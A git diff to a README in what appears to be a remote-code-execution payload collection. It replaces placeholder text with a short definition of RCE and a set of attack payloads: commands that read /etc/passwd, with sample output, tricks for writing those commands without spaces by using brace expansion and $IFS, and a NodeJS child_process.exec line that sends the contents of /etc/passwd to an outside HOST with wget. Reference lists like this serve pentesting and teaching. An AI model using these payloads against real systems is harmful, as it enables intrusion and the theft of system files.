diff --git a/RCE/README.md b/RCE/README.md index c707ab4..8195a0e 100644 --- a/RCE/README.md +++ b/RCE/README.md @@ -1,12 +1,25 @@ -# Title -Lorem +# Remote Code Execution +Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server. + ## Vuln - +Normal code execution ``` -Code +cat /etc/passwd +root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh +``` + + +Code execution without space +``` +{cat,/etc/passwd} +cat$IFS/etc/passwd +``` + +NodeJS Code execution +``` +require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST') ``` ## Thanks to -* Lorem -* Ipsum \ No newline at end of file +* \ No newline at end of file